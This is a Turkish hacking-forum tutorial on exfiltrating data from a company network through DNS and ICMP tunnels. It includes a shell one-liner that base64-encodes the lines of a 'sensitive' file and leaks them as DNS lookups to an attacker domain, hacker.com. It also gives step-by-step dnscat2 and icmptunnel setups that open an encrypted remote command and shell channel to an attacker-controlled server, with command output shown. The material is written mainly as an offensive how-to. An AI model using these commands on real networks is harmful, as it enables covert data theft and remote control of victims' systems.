Şirket Ağına Karşı Veri Sızdırma (Tünelleme) Saldırıları / R4V3N

R4V3N

Adanmış Üye
3 Tem 2016
6,250
38
25
Kocaeli
Veri sızdırma, veya bir diğer adıyla veri çıkarma, bir bilgisayardan izinsizce veri aktarmadır. Şirket ağına karşı bu tür saldırılar manüel olarak USB'li biri tarafından veyahutta otomatik olarak bir ağ üzerinden uygulanabilir. Bu konuda ağ tabanlı veri sızdırma tekniklerine değineceğim.

Tünelleme

Tünelleme, bir paketi direkt olarak ağ üzerinden göndermektense kapsülleme yoluyla (genellikle de şifrelenmiş) bir başka bağlantıya gönderildiğinde olur. Gerçek verimiz farklı protokoller yoluyla ağ üzerinden iletildiğinde internete erişmemiz mümkündür.

Kullanılan protokolün türüne göre tünellememizin ismi de değişkenlik gösterecektir. Biz en yaygın olanları ele alacağız.


DNS Tünelleme

Direkt olarak DNS tünellemeye atlamadan evvel size bazı temel lakin önemli şeyleri göstermek isterim.

Kod:
[COLOR="white"]➜ ~ cat /etc/resolv.conf|grep -v '#'
domain acme.local
nameserver 192.168.1.1
nameserver 192.168.1.2[/COLOR]

Öncelikle dahili DNS sunucusunu tanımlamalıyız. Aslında kolay iş. Şimdi ise sırada birtakım testler uygulamak var. Aşağıdaki soruları cevaplamamız gerekiyor.

  • Dahili DNS ile iletişime geçebiliyor muyuz?
  • Company DNS aracılığıyla dahili domain'i çözümleyebiliyor muyuz?
  • Dahili DNS vasıtasıyla harici domain'i çözümleyebiliyor muyuz?
  • Harici domain ile direkt olarak iletişime geçebiliyor muyuz?

Kod:
[COLOR="White"]➜ ~ nslookup acmebank.local
Server: 192.168.1.1
Address: 192.168.1.1#53

Name: acmebank.local
Address: 192.168.10.12

➜ ~ nslookup google.com
Server: 192.168.1.1
Address: 192.168.1.1#53

Non-authoritative answer:
Name: google.com
Address: 216.58.209.14

➜ ~ nslookup pentest.blog 8.8.8.8
Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
Name: pentest.blog
Address: 104.27.169.40
Name: pentest.blog
Address: 104.27.168.40[/COLOR]

İlk komut dahili domain'i çözümleyebileceğimizi gösteriyor. İkincisi ise company DNS sunucusu aracılığıyla harici bir domain'i çözümleyebileceğimizi gösteriyor. Bu da DNS tünelleme yapabiliriz demek lakin kısa keserek üçüncü komuda gelmek istiyorum. Çoğu güvenli ağlar sizlerin harici DNS ile iletişime geçmenize izin vermez. Eğer buna müsade edilmişseniz, bildirmeniz gereken bir güvenlik sorunu olduğunu bilin.


DNS Tünelleme Nasıl Çalışır?

Aşağıda bunu anlatan güzel bir grafik göreceksiniz:

DNS-Tunneling.jpg


  1. Diyelim ki bir hasmınızın kontrolü altında bir domain'i var. Domain'i de hacker.com olsun. Hasmınız, hacker.com'u çözümlemek için dahili DNS sunucusuna bir DNS isteği yollar.
  2. Hacker.com için yetkili DNS sunucusu internette bir yerde bulunmakta. Dolayısıyla, firewall aracılığıyla isteği kök sunucuya yönlendirir.
  3. Bir hayli yönlendirmelerden sonra, bir DNS isteği hasmın kontrolü altındaki hacker.com'un yetkili bir DNS sunucusuna varıyor.
  4. İstek hasımca yapıldığından yanıtın ne olduğu çok da önemli değil.
  5. Yanıt, dahili DNS sunucusuna varır.
  6. Ve son olarak, hasmımız bir yanıt alır.

Bu bize şirket ağının dışında bulunan bir sunucu ile nasıl iletişime geçilir onu gösterir. Şimdilik fena değil lakin dahili bir sunucu ile iletişime geçmenin yolunu bulmamız gerek. Veri sızdırma ile alakalı hiçbir şey yapmadık.

Diyelim ki aşağıdaki gibi hassas bir verimiz var:

Kod:
[COLOR="White"]➜ ~ cat sensitive.txt
Alice
Bob
John[/COLOR]

Ve bunu güvenli ağdan sızdırmak istiyoruz:

Kod:
[COLOR="white"]for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done[/COLOR]

Yukarıdaki shell komutu, satır satır hassas bilgileri içeren dosyayı okur. Sonra da her bir satırında base64 şifreleme uygular. Ve bunu da DNS sorgusu süresince bir subdomain olarak kullanır. Sorgu, hacker.com'un yetkili DNS sunucusuna geldiğinde; DNS kayıtlarını izleyerek bulabileceğiz, ayrıştırabileceğiz, ve hassas veriye tekabül edeni öğrenmek amaçlı subdomainleri decode edebileceğiz. Bu teknik tıkır tıkır işler ama aşağıda verdiğim kısıtlamaları mevcuttur.

  1. Tek yönlü bir iletişimdir. Komuta ve kontrolden karşıya bir komut gönderemiyoruz.
  2. Bir dosyayı okumak çok kolaydır. Boyut 100 mb.'lık verilere kadar çıkarsa ne yapacağız? DNS paketleri farklı talimatlat alabilirler.

Nitekim, bize sorunları halledecek bir tool lazım: dnscat2


Dnscat2'yi Nasıl Ayarlar ve Kullanırız?

Dnscat2, istemci ve sunucu uygulaması sağlar. Aşağıdaki komutlar bir DNS2 sunucusu kurmak için gereklidir:

Kod:
[COLOR="white"]~ git clone https://github.com/iagox86/dnscat2.git
~ cd dnscat2/server/
~ gem install bundler
~ bundle install[/COLOR]

Şirket ağında bulunan bir istemci için:

Kod:
[COLOR="white"]root@pentest:~# git clone https://github.com/iagox86/dnscat2.git
root@pentest:~# cd dnscat2/client/
root@pentest:dnscat2/client/# make[/COLOR]

Şimdi ise sırada bir Dnscat2 sunucusunu başlatmak var:

Kod:
[COLOR="white"]root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documéntation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = opendns.online]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.[/COLOR]

Opendns.online hasmın kontrolünde olan bir domain. Opendns.online için yetkili bir DNS sunucusuna sahip olmak çok önemlidir.

Dnscat, gizli bir anahtar oluşturur. Anahtar tünelleme sırasında şifreli iletişim için “paylaşılan gizlilik” olarak kullanılacaktır. Bunun yanında dnscat, iki farklı istemci komutu sunar. Eğer harici sunucuya bir DNS sorgusu gönderebiliyorsanız ki çoğu güvenli ağların kimseye bu harici DNS hizmetlerini kullanmasına izin vermediğini unutmayın, aşağıdaki gibi komutları çalıştırın:

Kod:
[COLOR="white"]root@pentest:/opt/dnscat2/client# ./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online
Creating DNS driver:
domain = opendns.online
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 12.0.0.2

** Peer verified with pre-shared secret!

Session established![/COLOR]

Oturum kurulduğunda sunucuda "new window created" mesajı göreceksiniz.

Kod:
[COLOR="white"]dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)[/COLOR]

Bu iletişim sırasında yakalanan bir DNS paketine göz atalım. Aşağıdaki ekran görüntüsü, 12.0.0.129'un (istemci) dahili DNS sunucusu 12.0.0.2'ye bir CNAME çözümleme isteği gönderdiğini gösteriyor.

DNSCAT2-wireshark.png


Dnscat2 istemcisi sunucuya birkaç TXT çözümleme isteği yolladı ve CNAME'ler aracılığıyla şifrelenmiş iletişimi başlattı. Bu saatten sonra hasmımız neredeyse istediği herşeyi bu tünel aracılığıyla yapabilir.

Kod:
[COLOR="white"]dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (pentest) 1> help[/COLOR]

Bu da komutlar listesi (her birinin ilave yardımı için sonuna -h ekleyin):

Kod:
[COLOR="white"]* clear
* delay
* download
* echo
* exec
* help
* listen
* ping
* quit
* set
* shell
* shutdown
* suspend
* tunnels
* unset
* upload[/COLOR]

ICMP Tünelleme

ICMP tünelleme, içine rastgele veri enjekte edilmiş echo paketi uzak bir bilgisayara göndererek olur. Uzak bilgisayar da aynı biçimde cevap verir, diyeceğini bir ICMP paketine enjekte eder ve geri gönderir.

Temel olarak, ICMP'nin içinde gerçek bir veri gönderiyoruz. ICMP tünellemeden önce sadece tek bir şeye ihtiyacımız var. Harici bir sunucuya ping atabilir miyim?

Kod:
[COLOR="white"]root@pentest:~# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=106 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=110 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=177 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=111 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 106.373/126.539/177.846/29.688 ms
root@pentest:~#[/COLOR]

Evet, atabiliriz. Aksi takdirde ICMP tünelleme yapmak imkansız olurdu. Dhaval Kapil sağolsun, icmptunnel adında ICMP tünelleme için de ayrı bir tool'umuz var. Bunun kurulumu da çok kolay.

Sunucuya ve istemciye aşağıdaki komutu kullanarak repoyu kopyala:

Kod:
[COLOR="white"]git clone https://github.com/DhavalKapil/icmptunnel[/COLOR]

"make" komutunu çalıştırın.

Sunucu kısmında şu komutu çalıştırın:

Kod:
[COLOR="white"]./icmptunnel -s 10.0.1.1[/COLOR]

İstemci kısmında ise ağ geçidini ve onun arayüzünü bulun:

Kod:
[COLOR="white"]root@pentest:/opt/icmptunnel# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 12.0.0.2 0.0.0.0 UG 100 0 0 eth0
12.0.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0[/COLOR]

client.sh'ı düzenleyin ve <server> yazan yere sunucunun IP adresini, <gateway> ve <interface> yazan yerlere de yukarıda gösterdiğim gibi bulduğunuz değerleri değiştirin.

Tüneli istemcide çalıştırın:

Kod:
[COLOR="white"]root@pentest:/opt/icmptunnel# ./icmptunnel -c IPADDRESS[/COLOR]
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.